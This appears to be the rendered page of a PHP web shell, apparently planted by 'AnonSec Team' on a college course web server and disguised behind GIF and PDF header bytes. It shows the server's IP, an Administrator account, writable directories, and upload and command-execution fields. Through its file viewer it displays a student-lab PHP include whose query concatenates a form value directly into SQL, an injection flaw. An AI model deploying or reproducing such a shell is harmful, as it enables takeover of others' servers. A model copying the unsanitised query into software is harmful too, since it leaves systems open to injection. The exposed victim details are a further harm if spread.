GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/_Archive/Labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/_Archive/Labs/StudentServerNameNAT.phpinc
<?
// /JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc
// Get the student Uipaddress, Unat, userFileName, userId, Uservername, and Uusername setting for all labs.

if (da()) debugTrackBegin();
#d_On();

$f_uId = formValue('uId');
if ( $f_uId ) {
	$userId = $f_uId;
	$userFileName = str_replace(array("-"," "),"",username($userId));
	$Uusername = explode(' ',username($userId));
	$Uusername = strtolower($Uusername[0]);
	// Get userStudentId.
	$query = "
			SELECT userStudentId
				FROM `user`
			 WHERE userId = ".$userId."
	";
	$userStudentIdInfo = query_info($query);
	if ( $userStudentIdInfo ) {
		$userStudentId = $userStudentIdInfo['userStudentId'];
	} else {
		$f_messageError = "Unable to get your StudentId.";
		include('common/classError.phpinc');
	}
} else {
	$userId = $_SESSION['userId'];
	$userFileName = str_replace(array("-"," "),"",$_SESSION['userFullName']);
	$Uusername = explode(' ',$_SESSION['userFullName']);
	$Uusername = strtolower($Uusername[0]);
	$userStudentId = $_SESSION['userStudentId'];
}

// Set $Iccc. This is the ccc part of your IP address. aaa.bbb.ccc.ddd 192.168.ccc.ddd
$Iccc = 211;

// Generate $Uservername.
if ( !isset($Uversion) ) $Uversion = 12;
$userParts = explode(" ",$_SESSION['userFullName']);
$Uservername = strtolower(substr($userParts[0],0,3));
if ( isset($userParts[1]) ) {
	$Uservername .= strtolower(substr($userParts[1],0,3));
} else {
	$Uservername .= 'xxx';
}
$Uservername .= $Uversion;
unset ($userParts);

// Generate $Uip.
// Search for the StudentList.txt file and parse it.
$dirs = split("/",dirname($_SERVER['SCRIPT_FILENAME']));
$dirLast = '/'.$dirs[count($dirs)-1];
$filename = 'StudentList.txt';
$filepath =  $_SESSION['DIRECTORY_ROOT'].substr($courseDirectory,1).'Labs/'.$filename;
d_Var('$filepath',$filepath);
$Uip = false;
if ( file_exists($filepath) ) {
	// Get IP number.
	$lastIP = 2;
	$file_handle = fopen($filepath, "r");
	while ( !feof($file_handle) && $Uip === false ) {
		$line = explode('|',fgets($file_handle));
		#d_Var('$line',$line);
		if ( $line[0] == $userStudentId ) {
			if ( isset($line[2]) ) $Uip = trim($line[2]);
		} else {
			if ( isset($line[2]) && $line[2] < 50 ) $lastIP = max($lastIP,$line[2]);
		}
	}
	fclose($file_handle);
	#d_Var('$Uip',$Uip);
	#d_Var('$lastIP',$lastIP);
	if ( $Uip === false ) {
		$Uip = $lastIP + 1;
		//$file_handle = fopen($filepath, "a");
		file_put_contents($filepath, $userStudentId.'|'.$_SESSION['userFullName'].'|'.$Uip."\n", FILE_APPEND);
		// Verify Uipaddress.
		$Uip = false;
		$file_handle = fopen($filepath, "r");
		while ( !feof($file_handle) && $Uip === false ) {
			$line = explode('|',fgets($file_handle));
			#d_Var('$line',$line);
			if ( $line[0] == $userStudentId ) if ( isset($line[2]) ) $Uip = trim($line[2]);
		}
		fclose($file_handle);
		#d_Var('$Uip',$Uip);
		#d_Var('$lastIP',$lastIP);
		if ( $Uip === false ) {
			$f_messageError = "Unable to get your IP address assignment.";
			include('common/classError.phpinc');
		}
	}
} else {
	$f_messageError = "Unable to get your IP address assignment from $filepath.";
	include('common/classError.phpinc');
}
if ( $Uip !== false ) {
	$Unat = $Uip + 100;
} else {
	$Unat = false;
}
if ( $Uversion != 12 ) {
	$Uip += 50;
}
$Uipaddress = '192.168.'.$Unat.'.'.$Uip;

unset ($dirs);
unset ($dirLast);
unset ($filename);
unset ($filepath);
unset ($file_handle);
unset ($line);

d_Var('$f_uId',$f_uId);
d_Var('$Uservername',$Uservername);
d_Var('$Uusername',$Uusername);
d_Var('$Uipaddress',$Uipaddress);
d_Var('$Uip',$Uip);
d_Var('$Unat',$Unat);
d_Var('$userId',$userId);
d_Var('$userFileName',$userFileName);

#d_Off();
#setDebugOn();
if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team